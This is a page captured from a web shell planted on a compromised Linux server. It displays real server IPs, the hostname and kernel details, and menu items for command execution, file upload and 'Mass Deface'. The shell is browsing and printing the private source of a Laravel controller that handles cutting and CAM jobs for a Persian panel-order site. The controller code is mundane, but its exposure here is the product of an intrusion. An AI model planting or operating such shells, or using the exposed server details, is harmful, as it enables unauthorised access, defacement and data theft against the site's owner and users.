���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
app
/
Http
/
Controllers
/
api
/
v1
/
Viewing: BotController.php
<?php namespace App\Http\Controllers\api\v1; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use function App\Helpers\error_response; use function App\Helpers\success_response; use Illuminate\Support\Facades\Validator; use function App\Helpers\uploadFile; use Illuminate\Support\Facades\Log; use App\Models\Order; use App\Models\OrderGroup; use App\Helpers\HelperClass\GeneralUse; class BotController extends Controller { public function cutMaster() { $order=OrderGroup::where('cut_master','pending')->with('slices')->with(['info' => function ($query) { $query->select('id','services_id'); }])->latest()->first(); if($order){ $machinery=GeneralUse::return_machinery($order->info->services_id); $CutMaster=$machinery['CutMaster']; } $result=[]; $failId=[]; $resultId=[]; if($order){ if($CutMaster =='true'){ if($order){ $length=$order->panel_height; if(count($order->slices) > 0){ foreach ($order->slices as $value) { if($value->height && $value->height < $length){ if(!in_array($order->id,$resultId)){ array_push($result,$order); array_push($resultId,$order->id); } }else{ array_push($failId,$order->id); } } }else{ array_push($failId,$order->id); } } }else{ OrderGroup::where('id',$order->id)->update([ 'cut_master'=>'not_run' ]); } } if(count($failId) > 0){ $failId=array_unique($failId); OrderGroup::whereIn('id',$failId)->update([ 'cut_master'=>'size_part' ]); } return $result; } public function cut_orders(Request $request) { $result=[]; $result=$this->cutMaster(); if(count($result) > 0){ $result=$result[0]; } $data=['order'=> $result]; return success_response($data); } public function cut_save(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', 'file' => 'required|mimes:pdf|max:30720', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $file=uploadFile($request->file); OrderGroup::where('id',$request->order_id)->update([ 'cut_master_pdf'=>$file, 'cut_master'=>'done' ]); $data=['status'=> 'success']; return success_response($data); } public function getCam() { $order=OrderGroup::where('win_cam','pending')->has('slices')->with('slices')->with(['info' => function ($query) { $query->select('id','services_id'); }])->latest()->first(); if($order){ $machinery=GeneralUse::return_machinery($order->info->services_id); $WinCAM=$machinery['WinCAM']; } $result=[]; $resultId=[]; $sizesPartsId=[]; $sizePanelId=[]; if($order){ if($WinCAM =='true'){ if($order){ if(count($order->slices) > 0){ $panel=[$order->panel_width,$order->panel_height]; if(6 <= $panel[0] && $panel[0] <= 380 && 6 <= $panel[1] && $panel[1] <= 380){ foreach ($order->slices as $value) { if($value->width <= $panel[0] && $value->height <= $panel[1]){ if( 5 <= $value->width && $value->width <= 380 ) { if( 5 <= $value->height && $value->height <= 380 ){ if(!in_array($order->id,$sizesPartsId) && !in_array($order->id,$sizePanelId) && !in_array($order->id,$resultId)){ array_push($result,$order); array_push($resultId,$order->id); } }else{ if(!in_array($order->id,$sizesPartsId)){ array_push($sizesPartsId,$order->id); } } }else{ if(!in_array($order->id,$sizesPartsId)){ array_push($sizesPartsId,$order->id); } } }else{ if(!in_array($order->id,$sizePanelId)){ array_push($sizePanelId,$order->id); } } } }else{ if(!in_array($order->id,$sizePanelId)){ array_push($sizePanelId,$order->id); } } }else{ OrderGroup::where('id',$order->id)->update([ 'win_cam'=>'size_part' ]); } if(count($sizesPartsId) > 0){ OrderGroup::whereIn('id',$sizesPartsId)->update([ 'win_cam'=>'size_part' ]); } if(count($sizePanelId) > 0){ OrderGroup::whereIn('id',$sizePanelId)->update([ 'win_cam'=>'size_panel' ]); } } }else{ OrderGroup::where('id',$order->id)->update([ 'win_cam'=>'not_run' ]); } } return $result; } public function addDes($item=null) { //$result_farsi $length_farsi =''; $width_farsi =''; if ($item->length_one == '3' && $item->length_two == '3'){ $length_farsi ='دو'; }elseif($item->length_one == '3' || $item->length_two == '3'){ $length_farsi ='یک'; } if ($item->width_one == '3' && $item->width_two == '3'){ $width_farsi ='دو'; }elseif($item->width_one == '3' || $item->width_two == '3') { $width_farsi ='یک'; } $result_farsi =''.$length_farsi .' طول - '.$width_farsi .' عرض'; //$result_shiar $length_shiar =''; $width_shiar =''; if ($item->length_one == '2' && $item->length_two == '2'){ $length_shiar ='دو'; }elseif($item->length_one == '2' || $item->length_two == '2'){ $length_shiar ='یک'; } if ($item->width_one == '2' && $item->width_two == '2'){ $width_shiar ='دو'; }elseif($item->width_one == '2' || $item->width_two == '2') { $width_shiar ='یک'; } $result_shiar =''.$length_shiar .' طول - '.$width_shiar .' عرض'; //$result_navar $length_navar=0; $length_navar_str=''; $width_navar=0; $width_navar_str=''; if ($item->length_one == '1' && $item->length_two == '1'){ $length_navar=2; $length_navar_str='دو'; }elseif($item->length_one == '1' || $item->length_two == '1'){ $length_navar=1; $length_navar_str='یک'; } if ($item->width_one == '1' && $item->width_two == '1'){ $width_navar=2; $width_navar_str='دو'; }elseif($item->width_one == '1' || $item->width_two == '1') { $width_navar=1; $width_navar_str='یک'; } $result_navar=''.$length_navar_str.' طول - '.$width_navar_str.' عرض'; //return $part1=''; $part2=''; $part3=''; if($result_farsi){ $part1=' فارسی : '.$result_farsi; } if($result_shiar){ $part2=' شیار : '.$result_shiar; } if($result_navar){ $part3=' نوار : '.$result_navar; } $result=$part1.' & '.$part2.' & '.$part3; return [$result,$length_navar,$width_navar]; } public function cam_orders(Request $request) { $result=[]; if(count($this->getCam()) > 0){ $single_data=$this->getCam()[0]; if($single_data){ if(count($single_data->slices) > 0){ foreach ($single_data->slices as $value) { $res=$this->addDes($value); $value['description2']=$res[0]; $value['length_band']=$res[1]; $value['width_band']=$res[2]; } } } $result=$single_data; } $data=['order'=> $result]; return success_response($data); } public function cam_save(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', 'file' => 'required|max:30720', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $file=uploadFile($request->file,'.prp'); OrderGroup::where('id',$request->order_id)->update([ 'win_cam_pdf'=>$file, 'win_cam'=>'done' ]); $data=['status'=> 'success']; return success_response($data); } public function optiCut() { $order=OrderGroup::where('opticut','pending')->with('slices')->with(['info' => function ($query) { $query->select('id','services_id'); }])->latest()->first(); if($order){ $machinery=GeneralUse::return_machinery($order->info->services_id); $OptiCut=$machinery['OptiCut']; } $result=[]; $failId=[]; $resultId=[]; if($order){ if($OptiCut =='true'){ $length=$order->panel_height; if(count($order->slices) > 0){ foreach ($order->slices as $value) { if($value->height && $value->height < $length){ if(!in_array($order->id,$resultId)){ array_push($result,$order); array_push($resultId,$order->id); } }else{ array_push($failId,$order->id); } } }else{ array_push($failId,$order->id); } }else{ OrderGroup::where('id',$order->id)->update([ 'opticut'=>'not_run' ]); } } if(count($failId) > 0){ $failId=array_unique($failId); OrderGroup::whereIn('id',$failId)->update([ 'opticut'=>'size_part' ]); } return $result; } public function opti_orders(Request $request) { $result=[]; $result=$this->optiCut(); $data=['orders'=> $result]; return success_response($data); } public function opti_save(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', 'file' => 'required|max:30720', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $file=uploadFile($request->file); OrderGroup::where('id',$request->order_id)->update([ 'opticut_file'=>$file, 'opticut'=>'done' ]); $data=['status'=> 'success']; return success_response($data); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa